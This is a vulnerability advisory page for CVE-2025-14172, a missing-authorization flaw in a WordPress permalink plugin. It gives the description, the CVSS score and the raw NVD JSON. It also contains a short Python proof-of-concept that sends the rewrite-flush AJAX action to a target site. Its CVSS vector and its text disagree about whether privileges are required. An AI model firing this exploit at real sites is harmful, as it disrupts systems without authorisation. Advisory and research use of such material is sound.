Security Vulnerability Report
中文
CVE-2025-14172 CVSS 6.5 MEDIUM

CVE-2025-14172

Published: 2026-01-09 12:15:53
Last Modified: 2026-04-15 00:35:42

Description

The WP Page Permalink Extension plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5.4. This is due to missing authorization checks on the `cwpp_trigger_flush_rewrite_rules` function hooked to `wp_ajax_cwpp_trigger_flush_rewrite_rules`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to flush the site's rewrite rules via the `action` parameter.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Page Permalink Extension <= 1.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14172 PoC # WP Page Permalink Extension < 1.5.5 Missing Authorization # Requires: Authenticated user with subscriber-level access or higher target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # Get valid nonce and cookie from authenticated session # (Attacker needs to be logged in as subscriber or higher) ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'cwpp_trigger_flush_rewrite_rules' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', # Include authenticated session cookies here # 'Cookie': 'wordpress_logged_in_xxx=yyy' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-14172...") print(f"[*] Sending request to: {ajax_url}") response = requests.post(ajax_url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14172", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:53.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Page Permalink Extension plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5.4. This is due to missing authorization checks on the `cwpp_trigger_flush_rewrite_rules` function hooked to `wp_ajax_cwpp_trigger_flush_rewrite_rules`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to flush the site's rewrite rules via the `action` parameter."}, {"lang": "es", "value": "El plugin WP Page Permalink Extension para WordPress es vulnerable a la falta de autorización en todas las versiones hasta la 1.5.4, inclusive. Esto se debe a la ausencia de comprobaciones de autorización en la función `cwpp_trigger_flush_rewrite_rules` enganchada a `wp_ajax_cwpp_trigger_flush_rewrite_rules`. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, vacíen las reglas de reescritura del sitio a través del parámetro `action`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/change-wp-page-permalinks/tags/1.5.4/change-wp-page-permalinks.php#L188", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/change-wp-page-permalinks/trunk/change-wp-page-permalinks.php#L188", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c5ba37d7-8fde-4ee3-93db-d2459da34bc4?source=cve", "source": "[email protected]"}]}}